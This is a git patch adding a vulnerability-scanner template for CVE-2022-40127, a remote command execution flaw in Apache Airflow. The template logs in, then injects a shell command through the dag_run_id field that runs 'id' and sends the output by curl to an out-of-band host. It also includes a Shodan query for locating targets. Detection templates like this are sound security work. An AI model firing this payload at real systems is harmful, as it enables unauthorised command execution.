From 7692a6bd9f4a61a1f136ca10a1ba020eb58c7d35 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Wed, 23 Nov 2022 18:11:34 +0530 Subject: [PATCH] Create CVE-2022-40127.yaml --- cves/2022/CVE-2022-40127.yaml | 69 +++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 cves/2022/CVE-2022-40127.yaml diff --git a/cves/2022/CVE-2022-40127.yaml b/cves/2022/CVE-2022-40127.yaml new file mode 100644 index 0000000000..1ed11cd971 --- /dev/null +++ b/cves/2022/CVE-2022-40127.yaml @@ -0,0 +1,69 @@ +id: CVE-2022-40127 + +info: + name: AirFlow < 2.4.0 - RCE + author: DhiyaneshDk,ritikchaddha + severity: high + description: | + A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0. + reference: + - https://github.com/Mr-xn/CVE-2022-40127 + - https://nvd.nist.gov/vuln/detail/CVE-2022-40127 + classification: + cve-id: CVE-2022-40127 + metadata: + shodan-query: title:"Sign In - Airflow" + tags: cve,cve2022,airflow,rce,oast + +requests: + - raw: + - | + GET /login/ HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + + - | + POST /login/ HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + Referer: {{BaseURL}}/admin/airflow/login + + username={{username}}&password={{password}}&_csrf_token={{csrf_token}} + + - | + @timeout: 15s + POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + Origin: {{BaseURL}} + + { + "conf": { + "dag_run": "{{randstr}}" + }, + "dag_run_id": "id \"&& curl `id`.{{interactsh-url}}", + "logical_date": "{{date_time("%Y-%M-%D")}}T{{date_time("%H:%m:%s")}}.920Z" + + } + + cookie-reuse: true + matchers-condition: or + matchers: + - type: word + part: body + words: + - 'state": "queued"' + + - type: status + status: + - 200 + + extractors: + - type: regex + name: csrf_token + group: 1 + internal: true + regex: + - 'type="hidden" value="(.*?)">'